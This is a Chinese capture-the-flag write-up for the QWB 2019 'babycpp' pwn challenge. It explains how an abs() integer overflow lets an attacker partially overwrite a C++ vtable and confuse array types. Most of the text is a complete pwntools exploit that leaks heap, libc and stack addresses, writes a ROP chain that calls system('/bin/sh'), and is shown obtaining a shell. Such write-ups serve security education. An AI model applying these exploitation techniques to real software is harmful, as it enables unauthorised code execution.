强网杯2019 pwn babycpp writeup

C++的虚表攻击。

源程序、相关文件下载:https://github.com/Ex-Origin/ctf-writeups/tree/master/qwb2019/pwn/babycpp

安全防护

ex@Ex:~/test$ checksec babycpp
[*] '/home/ex/test/babycpp'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

溢出点

update函数,有个典型的abs漏洞,直接输入0x80000000就可以导致abs负数溢出,然后我们就可以直接修改C++中的虚表。

void __fastcall update(container *arg)
{
  int index; // [rsp+10h] [rbp-20h]
  int v2; // [rsp+14h] [rbp-1Ch]
  int i; // [rsp+18h] [rbp-18h]
  int v4; // [rsp+1Ch] [rbp-14h]
  char s[8]; // [rsp+20h] [rbp-10h]
  unsigned __int64 v6; // [rsp+28h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  memset(s, 0, 8uLL);
  printf("Input idx:", 0LL);
  scanf("%u", &index);
  printf("Input hash:");
  v4 = read(0, s, 0x10uLL);
  v2 = abs(index) % 15;
  for ( i = 0; i < v4; ++i )
  {
    if ( v2 + i == 16 )
      v2 = 0;
    arg->hash[v2 + i] = s[i];
  }
}

思路

  1. 部分覆盖改vtable
  2. 构造结构任意读写

部分覆盖改vtable

题目出的最好的地方就是这里,我们可以利用上面的漏洞来使得int arraystring array的功能互搭。

new_array(1)
update('\0\0', 0, '0')

new_array(2)
update('\x01\0', 0, '1')

new_array(2)
update('\x02\0', 0, '2')

set_string('2', 0, 0x18, 'a' * 8)

if(len(sys.argv) > 1):
    value = hook + 0x201CE0
    value = chr((value & 0xFF00) >> 8) + chr(value & 0xFF)
    update('2', 0x80000000, value[::-1])
else:
    update('2', 0x80000000, hypothetical_int_vtable[::-1])

# leak heap addr
show_int('2', 0)
result = int(sh.readline(), 16)
heap_addr = result - 0x124c0
log.success("heap_addr: " + hex(heap_addr))

原本在malloc_ptr上的是chunk的指针,但是当吧int array转为string array后,我们就能利用show_int来泄漏heap地址。

构造结构任意读写

container_0_addr = heap_addr + 0x12280
container_0_malloc_ptr_addr = container_0_addr + 0x20

container_2_malloc_ptr_addr = heap_addr + 0x12430
set_int('2', 0, container_2_malloc_ptr_addr + 0x10) # struct string 
set_int('2', 2, container_0_malloc_ptr_addr) # ptr
set_int('2', 3, 0x100) # size

if(len(sys.argv) > 1):
    value = hook + 0x201D00
    value = chr((value & 0xFF00) >> 8) + chr(value & 0xFF)
    update('2', 0x80000000, value[::-1])
else:
    update('2', 0x80000000, hypothetical_string_vtable[::-1])

通过构造string array结构,使其可以控制ptr[0].malloc_ptr,这样我们就能实现任意地址读写。

运行结果:

pwndbg> pr
$1 = {
  vtable = 0x555ead482ce0, 
  hash = "0", '\000' <repeats 14 times>, 
  field_18 = 0x10, 
  malloc_ptr = 0x555eadb542b0 ""
}
$2 = {
  vtable = 0x555ead482d00, 
  hash = "1", '\000' <repeats 14 times>, 
  field_18 = 0x10, 
  malloc_ptr = 0x555eadb54370 ""
}
$3 = {
  vtable = 0x555ead482d00, 
  hash = "2", '\000' <repeats 14 times>, 
  field_18 = 0x10, 
  malloc_ptr = 0x555eadb54430 "@D\265\255^U"
}
pwndbg> x/4gx 0x555eadb54430
0x555eadb54430: 0x0000555eadb54440  0x0000000000000000
0x555eadb54440: 0x0000555eadb542a0  0x0000000000000100
pwndbg> p/x &($ptr[0].malloc_ptr)
$4 = 0x555eadb542a0

完整代码

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys

# Create a symbol file for GDB debugging
try:
    gdb_symbols = '''
    #include <stdio.h>
    #include <dlfcn.h>

    void _init()
    {
        printf("%p\\n", *(void **)dlopen(NULL, 1));
    }

    struct container
    {
        void **vtable;
        char hash[16];
        void *field_18;
        char *malloc_ptr;
    };
    struct container no_use;
    '''

    f = open('/tmp/gdb_symbols.c', 'w')
    f.write(gdb_symbols)
    f.close()
    # os.system('gcc -g -shared /tmp/gdb_symbols.c -o /tmp/gdb_symbols.so')
    os.system('gcc -fPIC -shared -g /tmp/gdb_symbols.c -c -o /tmp/gdb_symbols.o && ld -shared -ldl /tmp/gdb_symbols.o -o /tmp/gdb_symbols.so')    
except Exception as e:
    print(e)

context.arch = "amd64"
# context.log_level = 'debug'
execve_file = './babycpp'
sh = 0
if(len(sys.argv) > 1):
    sh = process(execve_file, env={"LD_PRELOAD": "/tmp/gdb_symbols.so"})
else:
    sh = process(execve_file)

elf = ELF(execve_file)
libc = ELF('./libc-2.27.so')

# Create temporary files for GDB debugging
try:
    gdbscript = '''
    set $image_base=$rebase(0)
    set $ptr=(struct container **)$rebase(0x202060)

    define of
        p/x $arg0-$image_base
        end

    define pr
        set $temp=$ptr
        while *$temp
            p **$temp
            set $temp=$temp+1
            end
        end

    define pm
        p/x $image_base
        end

    b *$rebase(0x1508)
    '''

    f = open('/tmp/pid', 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()

    f = open('/tmp/gdbscript', 'w')
    f.write(gdbscript)
    f.close()
except Exception as e:
    print(e)

def new_array(_type):
    sh.sendlineafter('Your choice:', '0')
    sh.sendlineafter('Your choice:', str(_type))

def update(old_hash, index, new_hash):
    sh.sendlineafter('Your choice:', '3')
    sh.sendafter('Input array hash:', old_hash)
    sh.sendlineafter('Input idx:', str(index))
    sh.sendafter('Input hash:', new_hash)

def set_string(hash, index, length, content):
    sh.sendlineafter('Your choice:', '2')
    sh.sendafter('Input array hash:', hash)
    sh.sendlineafter('Input idx:', str(index))
    if(length != None):
        sh.sendlineafter('Input the len of the obj:', str(length))
    sh.sendafter('Input your content:', content)

def show_string(hash, index):
    sh.sendlineafter('Your choice:', '1')
    sh.sendafter('Input array hash:', hash)
    sh.sendlineafter('Input idx:', str(index))
    sh.recvuntil('Content:')

def show_int(hash, index):
    sh.sendlineafter('Your choice:', '1')
    sh.sendafter('Input array hash:', hash)
    sh.sendlineafter('Input idx:', str(index))
    sh.recvuntil('The value in the array is ')

def set_int(hash, index, value):
    sh.sendlineafter('Your choice:', '2')
    sh.sendafter('Input array hash:', hash)
    sh.sendlineafter('Input idx:', str(index))
    sh.sendlineafter('Input val:', '%lx' % (value))

hook = 0
hypothetical_int_vtable = '\x1c\xe0'
hypothetical_string_vtable = '\x1d\x00'

if(len(sys.argv) > 1):
    hook = int(sh.readline(), 16)
    log.info('hook: ' + hex(hook))

new_array(1)
update('\0\0', 0, '0')

new_array(2)
update('\x01\0', 0, '1')

new_array(2)
update('\x02\0', 0, '2')

set_string('2', 0, 0x18, 'a' * 8)

if(len(sys.argv) > 1):
    value = hook + 0x201CE0
    value = chr((value & 0xFF00) >> 8) + chr(value & 0xFF)
    update('2', 0x80000000, value[::-1])
else:
    update('2', 0x80000000, hypothetical_int_vtable[::-1])

# leak heap addr
show_int('2', 0)
result = int(sh.readline(), 16)
heap_addr = result - 0x124c0
log.success("heap_addr: " + hex(heap_addr))

container_0_addr = heap_addr + 0x12280
container_0_malloc_ptr_addr = container_0_addr + 0x20

container_2_malloc_ptr_addr = heap_addr + 0x12430
set_int('2', 0, container_2_malloc_ptr_addr + 0x10) # struct string 
set_int('2', 2, container_0_malloc_ptr_addr) # ptr
set_int('2', 3, 0x100) # size

if(len(sys.argv) > 1):
    value = hook + 0x201D00
    value = chr((value & 0xFF00) >> 8) + chr(value & 0xFF)
    update('2', 0x80000000, value[::-1])
else:
    update('2', 0x80000000, hypothetical_string_vtable[::-1])

set_string('2', 0, None, p64(container_0_addr))
show_int('0', 0)
result = int(sh.readline(), 16)
image_base_addr = result - 0x201ce0
log.success("image_base_addr: " + hex(image_base_addr))

set_string('2', 0, None, p64(image_base_addr + elf.got['puts']))
show_int('0', 0)
result = int(sh.readline(), 16)
libc_addr = result - libc.symbols['puts']
log.success("libc_addr: " + hex(libc_addr))

set_string('2', 0, None, p64(libc_addr + libc.symbols['environ']))
show_int('0', 0)
stack_addr = int(sh.readline(), 16)
log.success("stack_addr: " + hex(stack_addr))

main_ret_addr = stack_addr - 0xf0
set_string('2', 0, None, p64(main_ret_addr))

# 0x0000000000001693 : pop rdi ; ret
pop_rdi_ret = 0x0000000000001693
# 0x0000000000000a4e : ret
ret_addr = 0x0000000000000a4e
set_int('0', 0, image_base_addr + ret_addr)
set_int('0', 1, image_base_addr + pop_rdi_ret)
set_int('0', 2, libc_addr + libc.search('/bin/sh\0').next())
set_int('0', 3, libc_addr + libc.symbols['system'])

set_int('0', 4, image_base_addr + pop_rdi_ret)
set_int('0', 5, 0)
set_int('0', 6, libc_addr + libc.symbols['exit'])

# exit
sh.sendlineafter('Your choice:', '4')

sh.interactive()

运行实例:

pwndbg> q
Detaching from program: /home/ex/test/babycpp, process 19216
ex@Ex:~/test$ ./exp.sh 
times 1

[+] Starting local process './babycpp': pid 19325
[*] '/home/ex/test/babycpp'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/home/ex/test/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Process './babycpp' stopped with exit code -11 (SIGSEGV) (pid 19325)
times 2

[+] Starting local process './babycpp': pid 19343
[*] '/home/ex/test/babycpp'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/home/ex/test/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Process './babycpp' stopped with exit code -11 (SIGSEGV) (pid 19343)
times 3

[+] Starting local process './babycpp': pid 19361
[*] '/home/ex/test/babycpp'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/home/ex/test/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Process './babycpp' stopped with exit code -11 (SIGSEGV) (pid 19361)
times 4

[+] Starting local process './babycpp': pid 19454
[*] '/home/ex/test/babycpp'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/home/ex/test/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] heap_addr: 0x55643e34dbf0
[+] image_base_addr: 0x55643c160000
[+] libc_addr: 0x7f81e15e8000
[+] stack_addr: 0x7ffee2fee1d8
[*] Switching to interactive mode
Bye!
$ id
uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),112(lpadmin),127(sambashare),129(wireshark),132(docker)
$